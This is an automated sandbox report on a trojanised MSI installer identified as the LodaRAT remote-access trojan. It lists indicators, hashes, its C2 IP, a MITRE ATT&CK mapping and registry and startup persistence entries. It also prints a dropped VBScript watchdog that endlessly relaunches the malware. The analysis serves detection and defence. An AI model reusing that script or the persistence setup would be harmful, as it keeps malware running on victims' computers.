Yara detected LodaRAT

Source: Yara match

File source: Process Memory Space: MSI4976.tmp PID: 7764, type: MEMORYSTR

Source: MSI4976.tmp, 00000003.00000002.2616628819.0000000004A1F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|Admin\|x\|user\|WIN_81\|X64\| \|Windows Defender\|192.168.2.9\|ddd\|Pr1024X21280X3\|Desktop\|0\|beta27301924L227301945L227301924e
Source: MSI4976.tmp, 00000003.00000002.2615051893.0000000001822000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|Admin\|x\|user\|WIN_81\|X64\| \|Windows Defender\|ograms
Source: SRACMB.exe, 00000012.00000002.2301030443.000000000015E000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 10, 2USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytea
Source: SRACMB.exe, 00000012.00000003.2281901155.000000000495F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81
Source: MSI4976.tmp, 00000003.00000002.2615051893.0000000001822000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|Admin\|x\|user\|WIN_81\|X64\| \|Windows Defender\|xe
Source: SRACMB.exe	Binary or memory string: WIN_XP
Source: MSI4976.tmp, 00000003.00000002.2615051893.0000000001822000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|Admin\|x\|user\|WIN_81\|X64\| \|Windows Defender\|-383053
Source: SRACMB.exe, 0000000D.00000003.1563336074.00000000047F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81\|
Source: MSI4976.tmp, 00000003.00000002.2616628819.0000000004A1F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|Admin\|x\|user\|WIN_81\|X64\| \|Windows Defender\|192.168.2.9\|ddd\|Pr1024X21280X3\|Desktop\|0\|beta
Source: MSI4976.tmp, 00000003.00000002.2616628819.0000000004A1F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|Admin\|x\|user\|WIN_81\|X64\| \|Windows Defender\|192.168.2.9\|ddd\|Pr1024X21280X3\|Desktop\|0\|beta6
Source: SRACMB.exe, 0000000E.00000002.1660699190.00000000044D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81(
Source: SRACMB.exe	Binary or memory string: WIN_XPe
Source: SRACMB.exe, 0000000F.00000003.1695804980.0000000004B02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81
Source: SRACMB.exe	Binary or memory string: WIN_VISTA
Source: SRACMB.exe, 00000009.00000003.1480092843.0000000004500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_81O
Source: MSI4976.tmp, 00000003.00000002.2615051893.0000000001822000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|Admin\|x\|user\|WIN_81\|X64\| \|Windows Defender\|mp{T
Source: SRACMB.exe	Binary or memory string: WIN_7
Source: MSI4976.tmp, 00000003.00000002.2615051893.0000000001822000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|Admin\|x\|user\|WIN_81\|X64\| \|Windows Defender\|
Source: MSI4976.tmp, 00000003.00000002.2615051893.0000000001822000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|Admin\|x\|user\|WIN_81\|X64\| \|Windows Defender\|xeq
Source: MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|Admin\|x\|user\|WIN_81\|
Source: SRACMB.exe	Binary or memory string: WIN_8
Source: MSI4976.tmp, 00000003.00000002.2616628819.0000000004A1F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: x\|Admin\|x\|user\|WIN_81\|X64\| \|Windows Defender\|192.168.2.9\|ddd\|Pr1024X21280X3\|Desktop\|0\|betasG

Source: Yara match

File source: Process Memory Space: MSI4976.tmp PID: 7764, type: MEMORYSTR

Remote Access Functionality

Yara detected LodaRAT

Source: Yara match

File source: Process Memory Space: MSI4976.tmp PID: 7764, type: MEMORYSTR

Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_003791DC socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	3_2_003791DC
Source: C:\Windows\Installer\MSI4976.tmp	Code function: 3_2_003796E2 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	3_2_003796E2
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_001091DC socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	8_2_001091DC
Source: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	Code function: 8_2_001096E2 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	8_2_001096E2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	11 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	1 Replication Through Removable Media	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	21 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Valid Accounts	2 Valid Accounts	21 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	3 Clipboard Data	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	21 Access Token Manipulation	1 Software Packing	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	11 Registry Run Keys / Startup Folder	12 Process Injection	1 DLL Side-Loading	LSA Secrets	28 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	121 Masquerading	Cached Domain Credentials	261 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	2 Valid Accounts	DCSync	12 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Virtualization/Sandbox Evasion	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
sdlvrr.msi	50%	Virustotal		Browse
sdlvrr.msi	42%	ReversingLabs	Script-AutoIt.Trojan.Lisk

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	100%	Joe Sandbox ML
C:\Windows\Installer\MSI4976.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Windata\SRACMB.exe	53%	ReversingLabs	Win32.Trojan.Lisk
C:\Windows\Installer\MSI4976.tmp	53%	ReversingLabs	Win32.Trojan.Lisk

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ip-score.com/checkip/	MSI4976.tmp, 00000003.00000002.2616680116.0000000004A60000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.111.138.100	unknown	United States		3223	VOXILITYGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582342
Start date and time:	2024-12-30 11:34:36 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	sdlvrr.msi
Detection:	MAL
Classification:	mal100.troj.evad.winMSI@17/14@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 90 Number of non-executed functions: 295
Cookbook Comments:	Found application associated with file extension: .msi Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.245.163.56, 20.12.23.50
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:35:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run VYZSPQ "C:\Users\user\AppData\Roaming\Windata\SRACMB.exe"
10:35:33	Task Scheduler	Run new task: VYZSPQ.exe path: C:\Users\user\AppData\Roaming\Windata\SRACMB.exe
10:35:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run VYZSPQ "C:\Users\user\AppData\Roaming\Windata\SRACMB.exe"
10:35:48	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VYZSPQ.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.111.138.100	LWQDFZ.exe	Get hash	malicious	LodaRAT, XRed	Browse
	JPS.exe	Get hash	malicious	LodaRAT, XRed	Browse
	KOGJZW.exe	Get hash	malicious	LodaRAT, XRed	Browse
	Machine-PO.exe	Get hash	malicious	XRed	Browse
	AYRASY.exe	Get hash	malicious	LodaRAT, XRed	Browse
	222.exe	Get hash	malicious	LodaRAT, XRed	Browse
	mmi8nLybam.exe	Get hash	malicious	LodaRAT	Browse
	Supplier 0202AW-PER2 Sheet.exe	Get hash	malicious	LodaRAT, XRed	Browse
	Purchase Order No. G02873362-Docx.vbs	Get hash	malicious	LodaRAT, XRed	Browse
	New PO - Supplier 0202AW-PER2.exe	Get hash	malicious	LodaRAT, XRed	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	docx.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	hoaiuy.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	222.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	KOGJZW.exe	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
	Machine-PO.exe	Get hash	malicious	XRed	Browse	13.107.246.45
	universityform.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
	universityform.xlsm	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	13.107.246.45
	installer64v9.5.7.msi	Get hash	malicious	Unknown	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VOXILITYGB	LWQDFZ.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	JPS.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	KOGJZW.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	Machine-PO.exe	Get hash	malicious	XRed	Browse	172.111.138.100
	AYRASY.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	222.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	mmi8nLybam.exe	Get hash	malicious	LodaRAT	Browse	172.111.138.100
	Supplier 0202AW-PER2 Sheet.exe	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	104.250.189.221
	Purchase Order No. G02873362-Docx.vbs	Get hash	malicious	LodaRAT, XRed	Browse	172.111.138.100

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	603
Entropy (8bit):	5.347313759584736
Encrypted:	false
SSDEEP:	12:EgKQg8mmIdFyS/cqj//pFvfN2zWotHMphe2WmmY3HDyzgj82:PgT+SkqjM65ptyzAh
MD5:	4C834F134CA98C7F93BAA9F691F703DD
SHA1:	A3312F95A6E38ABAD9E02179EC6167362A0CEC8B
SHA-256:	C9B4DE68EEE4D7C73EA33A7261D63642A4B0F2EF60140ABE548EB0CEF2EC4719
SHA-512:	2FF9660A95A5C330CC1F6193E8CA88763DBFF4DDEE88E0A2668DDBE6630BEA760FDCC3D579B4B53B955A24AD0A674C44C196CE3FF5895AEBF95F80842B53245C
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@o,.Y.@.....@.....@.....@.....@.....@......&.{29EF7317-DCA1-4159-97B2-C883AD400AC6}..Exe to msi converter free..sdlvrr.msi.@.....@.....@.....@........&.{C35CF0AA-9B3F-4903-9F05-EBF606D58D3E}.....@.....@.....@.....@.......@.....@.....@.......@......Exe to msi converter free......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{4C231858-2B39-11D3-8E0D-00C04F6837D0}&.{29EF7317-DCA1-4159-97B2-C883AD400AC6}.@........RemoveODBC..Removing ODBC components..%._B3D13F97_1369_417D_A477_B4C42B829328

C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs

Download File

Process:	C:\Windows\Installer\MSI4976.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	821
Entropy (8bit):	5.373099872154506
Encrypted:	false
SSDEEP:	24:dF/UJ8e/U/qaG2b6xI6C6x1xLxeQvJWAB/FVEMPENEZaVx5xCA:f/UJ8est+G+7xLxe0WABNVIqZaVzgA
MD5:	A78E4933B99F0162AECEDD700409FBF7
SHA1:	F8897DB5F7DFF8B9E6FDA2B167BECDA1FCD487EC
SHA-256:	BC0D674A900BB8FF11781BF25D1621FD01C3A88F05F10AB8160EBAED7BEF218B
SHA-512:	743FD4D3B7B5D4C6DA21A66E0058B1E7EAE7AC2BE33FB0D9DCE1442EB34C1C48CE44C241D77E49F7E64F7C0BCE82D62BF8B320553FF167755DA2A0227A07B500
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ProcessChecker, Description: Yara detected ProcessChecker, Source: C:\Users\user\AppData\Local\Temp\VYZSPQ.vbs, Author: Joe Security
Preview:	On error resume next..Dim strComputer,strProcess,fileset..strProcess = "MSI4976.tmp"..fileset = """C:\Windows\Installer\MSI4976.tmp"""..strComputer = "." ..Dim objShell..Set objShell = CreateObject("WScript.Shell")..Dim fso..Set fso = CreateObject("Scripting.FileSystemObject")..while 1..IF isProcessRunning(strComputer,strProcess) THEN..ELSE..objShell.Run fileset..END IF..Wend..FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName)..DIM objWMIService, strWMIQuery..strWMIQuery = "Select * from Win32_Process where name like '" & strProcessName & "'"..SET objWMIService = GETOBJECT("winmgmts:" _..& "{impersonationLevel=impersonate}!\\" _ ..& strComputer & "\root\cimv2") ...IF objWMIService.ExecQuery(strWMIQuery).Count > 0 THEN..isProcessRunning = TRUE..ELSE..isProcessRunning = FALSE..END IF..END FUNCTION

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VYZSPQ.lnk

Download File

Process:	C:\Windows\Installer\MSI4976.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=4, Archive, ctime=Mon Dec 30 09:35:30 2024, mtime=Mon Dec 30 09:35:30 2024, atime=Mon Dec 30 09:35:30 2024, length=949248, window=hide
Category:	dropped
Size (bytes):	1802
Entropy (8bit):	3.4080805112829275
Encrypted:	false
SSDEEP:	24:8hql0ZVeMKir4/PGAkw0ksFeXSUE2+s9T4IllBm:8hq4/Kir6P9kw0NsXSGr9MIlL
MD5:	C280AFD298C71B38156298E01AA27807
SHA1:	85A92C570BF84FCCC32B830222626E50EC2DC163
SHA-256:	288B93118FFD058AC8B00B0DA51DE1178C53FC63F1972B28ED92A74B775C3908
SHA-512:	0603EEB189B59A622E8FFFB9563A539890C879AB4B24500031E4AA474C2CD5D11890C39A0255CDE65A8AB71A5805556F4B855AB3220D9D4D265B5016FA88B3AA
Malicious:	false
Preview:	L..................F.@.. ....u...Z.......Z.......Z...\|........................:..DG..Yr?.D..U..k0.&...&.......bBDj........Z..{....Z......t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG.YmT..........................=...A.p.p.D.a.t.a...B.V.1......YkT..Roaming.@......EWsG.YkT.............................R.o.a.m.i.n.g.....V.1......YpT..Windata.@......YpT.YpT..........................>...W.i.n.d.a.t.a.....`.2..\|...YpT .SRACMB.exe..F......YpT.YpT....r.....................W...S.R.A.C.M.B...e.x.e......._...............-.......^..............[.....C:\Users\user\AppData\Roaming\Windata\SRACMB.exe..!.....\.....\.....\.....\.....\.W.i.n.d.a.t.a.\.S.R.A.C.M.B...e.x.e.(.".C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.W.i.n.d.a.t.a.\."...C.:.\.W.i.n.d.o.w.s.\.S.y.s.W.O.W.6.4.\.s.h.e.l.l.3.2...d.l.l.........%SystemRoot%\SysWOW64\shell32.dll..................................................................................................................

C:\Users\user\AppData\Roaming\Windata\SRACMB.exe

Download File

Process:	C:\Windows\Installer\MSI4976.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	949248
Entropy (8bit):	7.852650435892493
Encrypted:	false
SSDEEP:	24576:chloDX0XOf4Lv6ArAnQ4nCMBBG6e2q7dQGnm2J+SK:chloJf3Ar0pBre25G
MD5:	8C36CF56C0AA2ED05B8EC53CA0BFBAE1
SHA1:	EB9D46A7390EC9EF0C6FD179EFF8AC7907CCC775
SHA-256:	9F4D59259EE6D8A6278DFBDD9603151BC589D59630E667968B75BE1B881EAB54
SHA-512:	69CAD723AE1C9693FDA0CD6B742014F53F3153DE32B6A063C4D869B863E0ABC13DA0F9647422A4FF1B85FDEE86DDF1943A8A55CAC27DF3B989658EA71954713C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.............g.........$.............%....H......X.2........q)..Z..q).....q).......\....q).....Rich...........................PE..L.....>g.........."......P...@...`.......p........@........................... ...........@...@.......@.........................$......../..................(...........................................H...........................................UPX0.....`..............................UPX1.....P...p...D..................@....rsrc....@.......4...H..............@..............................................................................................................................................................................................................................................................................................................................................................3.07.UPX!....

C:\Windows\Installer\6e47fe.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, MSI Installer, Code page: 1252, Last Printed: Fri Sep 21 10:56:09 2012, Create Time/Date: Fri Sep 21 10:56:09 2012, Name of Creating Application: Windows Installer, Title: Exe to msi converter free, Author: www.exetomsi.com, Template: ;0, Last Saved By: devuser, Revision Number: {C35CF0AA-9B3F-4903-9F05-EBF606D58D3E}, Last Saved Time/Date: Tue May 21 12:56:44 2013, Number of Pages: 100, Number of Words: 0, Security: 0
Category:	dropped
Size (bytes):	974848
Entropy (8bit):	7.7836156225290445
Encrypted:	false
SSDEEP:	24576:uErhloDX0XOf4Lv6ArAnQ4nCMBBG6e2q7dQGnm2J+SK:uErhloJf3Ar0pBre25G
MD5:	3E83644E86D6165D35A80650D01DF249
SHA1:	F3F82555822EDC27B3EC559686E7D7B23153761B
SHA-256:	5CBAE41670F29829CBBEB50560A2184385E25C109DCBF3BFCFF6656BFC09AE32
SHA-512:	02051E5A017AF65CDF1ADC3680E93362440E60FA85BDAD6C49592ED20B7A26B9A9B9AC5B71CC8CD25B5441EA69D60A90E8879674B0546DCE00B4A6B8DDB812C3
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI4908.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	949970
Entropy (8bit):	7.852135862047015
Encrypted:	false
SSDEEP:	24576:HhloDX0XOf4Lv6ArAnQ4nCMBBG6e2q7dQGnm2J+SKL:HhloJf3Ar0pBre25GW
MD5:	1D8F64ED80F3B30154CC868B8B95359C
SHA1:	FDE2F7D45E45E618A2D818948F4E84556B9F5376
SHA-256:	92F94F8FF45D382503DD987CA0A4A35CB33833A6BB869F619EB04C9031DA968E
SHA-512:	AEF891E17B70D09BF8247E3D928360B38136FD289CC9CBEA344D3ADB93256CCF1EA1B3C505A3D0E561CEA30CDDFE42ACBCA5455E35CBDED106197BDD3A0C756A
Malicious:	false
Preview:	...@IXOS.@.....@o,.Y.@.....@.....@.....@.....@.....@......&.{29EF7317-DCA1-4159-97B2-C883AD400AC6}..Exe to msi converter free..sdlvrr.msi.@.....@.....@.....@........&.{C35CF0AA-9B3F-4903-9F05-EBF606D58D3E}.....@.....@.....@.....@.......@.....@.....@.......@......Exe to msi converter free......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{4C231858-2B39-11D3-8E0D-00C04F6837D0}...@.......@.....@.....@........RemoveODBC..Removing ODBC components..T....@....T....@......%._B3D13F97_1369_417D_A477_B4C42B829328....J.%._B3D13F97_1369_417D_A477_B4C42B829328.@.......\|..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.............g.........$.............%....H......X.2........q)..Z..q).....q).......\....q).....Rich...........................PE..L.....>g.........."...

C:\Windows\Installer\MSI4976.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	modified
Size (bytes):	949248
Entropy (8bit):	7.852650435892493
Encrypted:	false
SSDEEP:	24576:chloDX0XOf4Lv6ArAnQ4nCMBBG6e2q7dQGnm2J+SK:chloJf3Ar0pBre25G
MD5:	8C36CF56C0AA2ED05B8EC53CA0BFBAE1
SHA1:	EB9D46A7390EC9EF0C6FD179EFF8AC7907CCC775
SHA-256:	9F4D59259EE6D8A6278DFBDD9603151BC589D59630E667968B75BE1B881EAB54
SHA-512:	69CAD723AE1C9693FDA0CD6B742014F53F3153DE32B6A063C4D869B863E0ABC13DA0F9647422A4FF1B85FDEE86DDF1943A8A55CAC27DF3B989658EA71954713C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S.............g.........$.............%....H......X.2........q)..Z..q).....q).......\....q).....Rich...........................PE..L.....>g.........."......P...@...`.......p........@........................... ...........@...@.......@.........................$......../..................(...........................................H...........................................UPX0.....`..............................UPX1.....P...p...D..................@....rsrc....@.......4...H..............@..............................................................................................................................................................................................................................................................................................................................................................3.07.UPX!....

C:\Windows\Installer\SourceHash{29EF7317-DCA1-4159-97B2-C883AD400AC6}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7683101341214462
Encrypted:	false
SSDEEP:	12:JSbX72FjjbJAGiLIlHVRpth/7777777777777777777777777vDHFU6eK8pSl0i5:JtJQI5p2hF
MD5:	FEDC8BEA658CC75FDEB12389EDC0F1F2
SHA1:	398F22FAEDEE9958F284414ABB2D2E1FDE0F3143
SHA-256:	0393B43B6FB38353B400348F7BB812B2E079C1B08525991152F3E01B854879FA
SHA-512:	2EFFFCAA5262043441A177D9384B62DC3690A955451BAB34746E0E715434FA92F61805610145F02D40F8E70AC1B14224970951725A6B7CD46E7ABA16899BEFEF
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1458944438109988
Encrypted:	false
SSDEEP:	48:L6DuQZsrMLFXOxT59e3lhlSzUgYsSzfTl:+DrsTTeVhlYRTY
MD5:	DA3A1FF557C48ED3EB70F408DE86B3D8
SHA1:	D63584EBDD40C7DBB9111A590B8B41A55E05E66F
SHA-256:	29AB99E4DA063BF3D71774C81D761ADC1B44150B25B051F2305645B7B278D1C7
SHA-512:	F8F0CA894F0E72FF087B60BED648F161D607C400EE3C301F96518171A7A661FA70AB8111B032F9C29AB057B41820529C04EBDFD319EDBFE35D398A8E0113539B
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	360001
Entropy (8bit):	5.362968934206052
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26KgauV:zTtbmkExhMJCIpEY
MD5:	93FCA1C757D924C9A469C9A94138CA04
SHA1:	D7FDB05DA10BF8C7E84D9F2EBC2680A6AE81572C
SHA-256:	215BC370599F4FFB6E5C1424DB66481F7FBAD40815C3040E43B238FA017E7CB1
SHA-512:	DC7D364FC2ED69D77925EB31875F9D57BE1A52A09887922722D19C6D615D4041C8038CB90578109F7C268C34EC8E210ABFDA0D72580C12A0F6774C388FE498F8
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF3B519F2FC3953126.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.06947348371947007
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOj46u2uH/QJQ8hQVky6lS:2F0i8n0itFzDHFU6eKdS
